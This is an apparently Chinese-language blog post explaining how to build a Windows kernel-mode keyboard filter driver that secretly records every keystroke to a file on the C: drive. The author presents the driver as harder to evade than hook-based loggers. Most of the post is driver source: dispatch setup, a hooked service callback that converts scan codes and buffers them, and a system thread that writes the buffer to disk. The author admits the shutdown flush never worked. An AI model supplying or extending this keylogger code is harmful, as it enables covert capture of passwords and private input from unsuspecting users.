利用filter driver实现键盘记录

    技术2022-05-11  39

    实现键盘记录的方法一般是用全局钩子注入进程,这种方法比较简单,网上有N多文章讨论,不过对于一个高明的程序员来说,仍然可以躲开全局钩子的拦截。而用一个键盘的过滤驱动程序来拦截按键,程序员基本不可能绕开它的拦截。这两天无聊的很,做项目不是很顺,抽了点时间写了个东西。贴在这里灌水,高手们就不要看了。driver entry是标准的例程,我们这里注册了一些分派函数NTSTATUSDriverEntry (    IN  PDRIVER_OBJECT  DriverObject,    IN  PUNICODE_STRING RegistryPath    ){    ULONG i;    UNREFERENCED_PARAMETER (RegistryPath);    //     // Fill in all the dispatch entry points with the pass through function    // and the explicitly fill in the functions we are going to intercept    //     for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) {        DriverObject->MajorFunction[i] = KbFilter_DispatchPassThrough;    }    DriverObject->MajorFunction [IRP_MJ_CREATE] =    DriverObject->MajorFunction [IRP_MJ_CLOSE] =        KbFilter_CreateClose;    DriverObject->MajorFunction [IRP_MJ_PNP] =          KbFilter_PnP;    DriverObject->MajorFunction [IRP_MJ_POWER] =        KbFilter_Power;    DriverObject->MajorFunction [IRP_MJ_INTERNAL_DEVICE_CONTROL] =                                                        KbFilter_InternIoCtl;    DriverObject->MajorFunction [IRP_MJ_SHUTDOWN]=KbFilter_DispatchShutdown;                                          DriverObject->DriverUnload = KbFilter_Unload;    DriverObject->DriverExtension->AddDevice = KbFilter_AddDevice;    return STATUS_SUCCESS;}注册KbFilter_DispatchShutdown是为了在系统shutdown的时候获得通知,做些处理。基本上所有的irp 都通过KbFilter_DispatchPassThrough传递到下层的驱动处理,一些ioctol irp也只是简单的 return一个nt status,我并不关心这些东西,需要传递的irp传递给下层驱动处理,这个filter本身基本不做任何处理,关键的部分在 KbFilter_CreateClose里面创建一个文件用于记录按键,代码如下:  RtlInitUnicodeString(&devExt->RecordFileName,L"//DosDevices//c://KeyRecord.txt");           /*NOTE:lzp--2005-4-9---           * OBJ_KERNEL_HANDLE must be set, otherwise, the zwwritefile will failed           */         InitializeObjectAttributes(&ObjectAttri,&devExt->RecordFileName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,     NULL,NULL);          //create or open the file     status=ZwCreateFile(&devExt->RecordFileHandle,FILE_APPEND_DATA|SYNCHRONIZE,&ObjectAttri,&IoStatusBlock,NULL,FILE_ATTRIBUTE_NORMAL,FILE_SHARE_WRITE|FILE_SHARE_READ,FILE_OPEN_IF,FILE_SYNCHRONOUS_IO_NONALERT,NULL,0);      if (!NT_SUCCESS(status)) {      DbgPrint("ZwCreateFile failed/n");     //IoDeleteDevice(device);         return (status);     }所有的按键都保存在这个文件中,当有按键时候,会出发中断,最终调用VOIDKbFilter_ServiceCallback(    IN PDEVICE_OBJECT DeviceObject,    IN PKEYBOARD_INPUT_DATA InputDataStart,    IN PKEYBOARD_INPUT_DATA InputDataEnd,    IN OUT PULONG InputDataConsumed    )这个函数来处理按键,通过hook这个callback,实现自己的功能,我在device_extension里开了个一个缓冲区用来记录按键,每记录100个按键,写一次文件;这部分都是在KbFilter_ServiceCallback实现的PDEVICE_EXTENSION   devExt;    devExt = (PDEVICE_EXTENSION) DeviceObject->DeviceExtension;    ProcessScanCode(InputDataStart,         InputDataEnd,devExt);    (*(PSERVICE_CALLBACK_ROUTINE) devExt->UpperConnectData.ClassService)(        devExt->UpperConnectData.ClassDeviceObject,        InputDataStart,        InputDataEnd,        InputDataConsumed);首先调用ProcessScanCode来记录按键,接着调用上层驱动的callback函数,把数据交给它们处理。processscancode根据scan code转换为字符,保存在buffer中,每当记录了100个按键后,就调用NTSTATUSStoreKeyToFile(PDEVICE_EXTENSION   devExt){NTSTATUS status=STATUS_SUCCESS;//DbgPrint("IRQL:%d/n",KeGetCurrentIrql());DbgPrint("Enter the StoreKeyToFile Routine/n");     devExt->KeyBuffer[index++]='/n';     KeSetEvent(&devExt->BeginWriteEvent,0,FALSE);      index=0;              return status;  }把数据写入文件。由于此时IRQL是2(dispatch level irql),而zwwritefile只能在passive_level调用,为此专门实现了一个系统线程来做写文件的工作。系统线程在KbFilter_CreateClose 中创建:// create system thread for write key value to file     status = PsCreateSystemThread(&ThreadHandle,     THREAD_ALL_ACCESS,NULL,NULL,NULL,(PKSTART_ROUTINE) WriteThreadProc,devExt);    if (!NT_SUCCESS(status))     return status;    ObReferenceObjectByHandle(ThreadHandle,     THREAD_ALL_ACCESS,    NULL,    KernelMode,    (PVOID*) &devExt->WriteThread,    NULL);     ZwClose(ThreadHandle);          并初始化两个event: //initialize event object         KeInitializeEvent(&devExt->BeginWriteEvent,          NotificationEvent, FALSE);KeInitializeEvent(&devExt->ExitEvent,          NotificationEvent, FALSE); 这两个event一个用于通知系统线程开始写文件,一个通知系统线程终止。每当buffer中保存了100个字符时候在storekeytofile里面就通过KeSetEvent(&devExt->BeginWriteEvent,0,FALSE)来唤醒系统线程开始写文件。系统线程代码入下:VOID WriteThreadProc(PDEVICE_EXTENSION pdx){NTSTATUS status;IO_STATUS_BLOCK         IoStatusBlock;PVOID ThreadEvent[]={(PVOID) &pdx->BeginWriteEvent,(PVOID) &pdx->ExitEvent,};//DbgPrint("Enter WriteThread/n");//debug onlywhile(TRUE){DbgPrint("begin wait/n");status=KeWaitForMultipleObjects(2,ThreadEvent,WaitAny,Executive,KernelMode,FALSE,NULL,NULL);if(!NT_SUCCESS(status)){DbgPrint("error--KeWaitxxx/n");goto exit;}if(status==STATUS_TIMEOUT){DbgPrint("Timeout/n");goto exit;}if(status == STATUS_WAIT_0){ DbgPrint("Begin Write/n");  KeClearEvent(&pdx->BeginWriteEvent);status=ZwWriteFile(pdx->RecordFileHandle,NULL,NULL,NULL,&IoStatusBlock,(UCHAR*)pdx->KeyBuffer,100,NULL,//&BufOffset,NULL);if (!NT_SUCCESS(status)) {DbgPrint("Error in ZwWriteFile:%u/n",status);       }      // KeStallExecutionProcessor(100);       }else if(status == STATUS_WAIT_1){      DbgPrint("Terminate/n");      KeClearEvent(&pdx->ExitEvent);            goto exit;       //PsTerminateSystemThread(STATUS_SUCCESS); }else{      DbgPrint("Error--thread proc/n");            goto exit; }}exit:PsTerminateSystemThread(STATUS_SUCCESS);}它一创建就进入一个while(TRUE)循环,调用kewaitformultipleobjects来睡眠,等待唤醒。如果是beginwriteevent唤醒的就写文件,如果是exitevent唤醒的就终止运行。当系统shutdown的时候,可能buffer中的字符不到100个,则不会调用系统线程写文件,我本来的考虑是注册个shutdwon例程,在 KbFilter_DispatchShutdown中把所有buffer中的数据都写到文件中。但是调试后发现这个写文件的操作从来没有成功过,不知道什么原因。此外,更加诡异的是,在系统boot的时候会发送IRP_MJ_CLOSE irp给驱动,结果close例程被调用,这极其奇怪。不过好在每什么影响,没时间了,懒得debug它。至于为什么KbFilter_DispatchShutdown写文件不成功,不知道哪位大虾了解,麻烦指教。我觉得可能是shutdwon的时候irql不是passive_level或者文件系统驱动已经在键盘驱动之前unload了。不是很清楚。


    最新回复(0)